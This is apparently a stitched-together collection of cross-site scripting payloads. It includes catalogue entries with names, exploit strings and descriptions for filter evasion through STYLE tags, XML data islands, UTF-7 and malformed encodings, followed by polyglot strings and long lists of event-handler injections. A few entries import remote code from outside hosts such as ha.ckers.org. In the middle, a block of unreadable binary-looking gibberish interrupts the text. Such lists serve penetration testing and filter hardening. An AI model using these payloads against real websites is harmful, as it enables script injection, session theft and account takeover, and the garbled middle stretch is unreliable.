STYLE w/Anonymous HTML
Exploit Name: STYLE w/Anonymous HTML
Exploit String: <XSS STYLE="xss:expression(alert('XSS'))">
Exploit Description: Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)
STYLE w/background
Exploit Name: STYLE w/background
Exploit String: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
Exploit Description: STYLE tag using background.
Exploit Tags: general, evil tags, injection, internet explorer
STYLE w/background-image
Exploit Name: STYLE w/background-image
Exploit String: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
Exploit Description: STYLE tag using background-image.
Exploit Tags: general, evil tags, internet explorer, style injection
STYLE w/broken up JavaScript
Exploit Name: STYLE w/broken up JavaScript
Exploit String: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
Exploit Description: STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).
STYLE w/Comment
Exploit Name: STYLE w/Comment
Exploit String: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Exploit Description: STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)
Stylesheet
Exploit Name: Stylesheet
Exploit String: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
Exploit Description: Stylesheet
Style-breaker using obfuscated JavaScript
Exploit Name: Style-breaker using obfuscated JavaScript
Exploit String: }</style><script>a=eval;b=alert;a(b(/i/.source));</script>
Exploit Description: This vector ends styleblocks and uses obfuscated JavaScript to create an alert.
Exploit Tags: general, html breaking, CSS breaking
Super basic HTML breaker 2
Exploit Name: Super basic HTML breaker 2
Exploit String: >"'
Exploit Description: This super basic vector breaks HTML attributes
Exploit Tags: general, basic, super short, html breaking
Super short XSS variant 1
Exploit Name: Super short XSS variant 1
Exploit String: a=alert
a(0)
Exploit Description: This extremely short XSS vector works only when newlines can be injected.
Exploit Tags: general, super short
Super short XSS variant 2
Exploit Name: Super short XSS variant 2
Exploit String: A=alert;A(1)
Exploit Description: This extremely short XSS vector works with out the need for newlines to be injected,
Exploit Tags: super short, general, basic
Author Name: -unknown-
TABLE
Exploit Name: TABLE
Exploit String: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
Exploit Description: Table background (who would have thought tables were XSS targets... except me, of course).
TD
Exploit Name: TD
Exploit String: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
Exploit Description: TD background.
Textarea-breaker with mouseover
Exploit Name: Textarea-breaker with mouseover
Exploit String: </textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit Description: This vector breaks textareas and creates an element reacting on mouveover events.
Unicode encoded script tags
Exploit Name: Unicode encoded script tags
Exploit String: '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
Exploit Description: This vector uses unicode encoded codepoints to create a script tag producing an alert.
Exploit Tags: general, basic, obfuscated, evil tags
URL breaker for double quotes
Exploit Name: URL breaker for double quotes
Exploit String: http://aa"><script>alert(123)</script>
Exploit Description: This vector breaks double quoted URL input
Exploit Tags: URL breaking, general, basic, html breaking
URL breaker for single quotes
Exploit Name: URL breaker for single quotes
Exploit String: http://aa'><script>alert(123)</script>
Exploit Description: This vector breaks single quoted URL input
Exploit Tags: URL breaking, basic, general, html breaking
URL encoded image source
Exploit Name: URL encoded image source
Exploit String: >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
Exploit Description: This vector utilizes an urlencoded JS image source to create an alert.
Exploit Tags: general, basic, obfuscated, internet explorer
URL Encoding
Exploit Name: URL Encoding
Exploit String: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
URL-breaking vector
Exploit Name: URL-breaking vector
Exploit String: http://aa<script>alert(123)</script>
Exploit Description: This vector is a basic URL breaker - embedding an alert in a URL-like wrapper.
Exploit Tags: general, URL breaking, basic
US-ASCII encoding
Exploit Name: US-ASCII encoding
Exploit String: %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
Exploit Description: Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
UTF-7 Encoding
Exploit Name: UTF-7 Encoding
Exploit String: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Exploit Description: UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.
UTF-8 Unicode Encoding
Exploit Name: UTF-8 Unicode Encoding
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
with() executing alert via document.__parent__
Exploit Name: with() executing alert via document.__parent__
Exploit String: with(document.__parent__)alert(1)
Exploit Description: This vector uses the __parent__ property combined with with() to execute an alert.
Exploit Tags: general, super short, obfuscated, gecko, __property__
XML data island w/CDATA
Exploit Name: XML data island w/CDATA
Exploit String: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');">]]]]><![CDATA[></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
Exploit Description: XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.
Exploit Tags: general, evil tags, obfuscated, XML injection
XML data island w/comment
Exploit Name: XML data island w/comment
Exploit String: <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
Exploit Description: XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)
XML HTML+TIME
Exploit Name: XML HTML+TIME
Exploit String: <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
Exploit Description: HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.
XML namespace
Exploit Name: XML namespace
Exploit String: <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
Exploit Description: XML namespace. The .htc file must be located on the server as your XSS vector.
XML predicate XSS using content[n]
Exploit Name: XML predicate XSS using content[n]
Exploit String: y=<a>alert</a>;content[y](123)
Exploit Description: This vector uses XML predicate properties to activate its payload.
Exploit Tags: general, XML predicates, gecko
XML (locally hosted)
Exploit Name: XML (locally hosted)
Exploit String: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
Exploit Description: Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.
XSS Quick Test
Exploit Name: XSS Quick Test
Exploit String: '';!--"<XSS>=&{()}
Exploit Description: If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus <XSS to see if it is vulnerable.
Exploit Tags: general, html breaking, JS breaking, comment breaking
XSS via VBScript MsgBox
Exploit Name: XSS via VBScript MsgBox
Exploit String: Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
Exploit Description: This vector creates an alert like message boy via Visual Basic Script
__parent__ stored JS alert
Exploit Name: __parent__ stored JS alert
Exploit String: document.__parent__._=alert
_(1)
Exploit Description: This vector uses the __parent__ property to store the alert function and execute it afterwards with new label.
__proto__ stored JS alert
Exploit Name: __proto__ stored JS alert
Exploit String: top.__proto__._= alert
Exploit Description: This vector uses the __proto__ property to store the alert function and execute it afterwards with new label.
iframe Chrome bypass
Exploit String: <iframe%20src="javascript:alert(1)
anchor Chrome bypass
Exploit String: <a%20href="javascript:alert(1);
wtf? Chrome
Exploit String: <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
/*-/*`/*\`/*'/*"/**/
(/* */oNcliCk=alert() )
//%0D%0A%0D%0A//
</stYle/</titLe/</teXtarEa/</scRipt/--!>
\x3csVg/<sVg/oNloAd=alert()//>\x3e
<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input>
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e>
<a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a>
<math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math>
<iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe>
<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->
<style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>
<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>
<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';
<script>//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</script>
<script>/*jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e*/</script>
</script><script src="https://static.jsbin.com/js/render/edit.js?3.35.11"></script><script>jsbinShowEdit && jsbinShowEdit({"static":"https://static.jsbin.com","root":"https://jsbin.com"});</script><script>
setTimeout(location.search.slice(1));
jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=alert()%20)//%250D%250A%250D%250A//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%3CsVg/%3CsVg/oNloAd=alert()//%3E%3E
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.documentElement.innerHTML = data;
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.head.outerHTML = data;
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.write(data);document.close();
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?S# Contains statements from jbrofuzz (13 April 2010)
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script>
javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script>
javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script>
javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script>
javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script>
javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script>
javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//>
javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script>
javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//>
javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``>
javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script>
javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//>
javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()>
javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script>
javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()>
javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()>
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert()><svg/\"/*<svg onload=' /**/-alert()//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert()//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert()//>
javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script>
javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()>
javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()>
javascript:/*"/*'/*\"/*`/*><frame src=javascript:alert()></template </textarea </title </style </noscript </noembed </script --><<script>alert()<</script>\ /**/alert()//
javascript:/*`/*'/*'/*"-/*\"/**/ alert()//></title></textarea></style></select></script></noembed></noscript></template>--><<svg/onload=alert()><frame/src=javascript:alert()>
javascript:'/*`/*'/*"/*\"/*<FRAME SRC= javascript:/**/-alert()//--></title></textarea></style></noscript></noembed></template></script><script>//<svg onload= alert()//</script>
javascript:alert()//--></title></style></noscript></noembed></template></select></textarea><frameset onload=alert()></script>*///\"//`//'//"//><svg <svg onload=alert()> alert()//
javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//</style></template/</title/</textarea/</noscript/</noembed/</script>--><frame <svg onload=alert()><script>alert()</script>
javascript:/*"/*'/*`/*\"/**/ alert()//*</title></textarea></style></noscript></noembed></template></option></select></SCRIPT>--><<svg onload=alert()><frame src=javascript:alert()>
javascript:alert()//\"//`//'//"//--></style></select></noscript></noembed></template></title></textarea></script><iframe/srcdoc="<svg/onload=alert()>"><frame/onload=alert()>*/ alert()//
javascript:alert()//*-->*`/*'/*"/*\"/*</title></textarea></style></noscript></noembed></template><frame src=javascript:alert()></script><script>/*<svg onload=alert()>*/ alert()//</script>
jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())//<svg/onload=alert()><frame/onload=alert()></select></noscript></noembed></template></stYle/</titLe/</teXtarEa/</script/--><sVg/oNloAd= alert()//>
javascript:alert()//'//"//`//></a></option></select></template></noscript></script></title></style></textarea></noembed>--><<svg onload=alert()>\">alert()//*/ alert()//<frame src=javascript:alert()>
javascript:alert()//\ /*<svg/onload=';alert();'></textarea></style></title></noscript></template></noembed><frame onload=";alert();"></script>--><script>alert`;alert();`</script>*/alert()//\";alert()//
javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--></template><frame/onload=alert() <img src=x onerror=alert()></style/</title/</textarea/</noscript/</noembed/</script><script>alert()</script>
javascript:alert();//</title></noscript></noembed></template></style></textarea><frameset onload='+/"/+/[*/[]/+alert()//'-->\" alert();/*`/**/(/**/alert())//<script>alert()</script><<svg onload=alert()>>
javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--></title></style></noscript></textarea></template></noembed><script>alert()</script><frameset onload=alert()><svg/onload=alert(1)> alert()//
javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--><FRAME SRC="javascript:alert();"></textarea></style></noscript></noembed></template></option></select></script></title><svg/onload=alert()><svg/onload=alert()> alert(1)//
javascript:alert()//<frame/src=javascript:alert()><svg/onload=alert()>`;alert()`';alert()//\";alert();//"//--></title></textarea></style></noscript></noembed></template></option></select></script><svg onload=alert()>*/ alert()//*
javascript:alert()//</title></style></textarea></noscript></template></noembed><script>alert()</script>-->\";alert()//";alert()//';alert()//<script>alert()</script><frame src="javascript:alert()">` alert()//<svg/onload=alert()>*/alert()/*
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
javascript:/*--></title></style></template></noscript></noembed></textarea></script><svg/onload='+/"/+/onclick=1/+/[*/[]/+alert()//'>"><svg/onload=`+/"/+/onclick=/+/[*/[]/+alert()//'>"><script>alert()</script><frame src="javascript:alert()"></frameset>+\"; alert()//<img src onerror=alert()>
javascript:alert(1)//\";alert(1);<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//--><FRAME SRC="javascript:alert(1);"></textarea></style></iframe></noscript></noembed></template></option></select></script><img src=x onerror=alert(1)></title><script>alert(1)</script><img src=0 onerror=alert(1)><img src=x:x onerror=alert(1)> alert(1)//
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
</script><script>alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
\x3Cscript>javascript:alert(1)</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22>javascript:alert(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
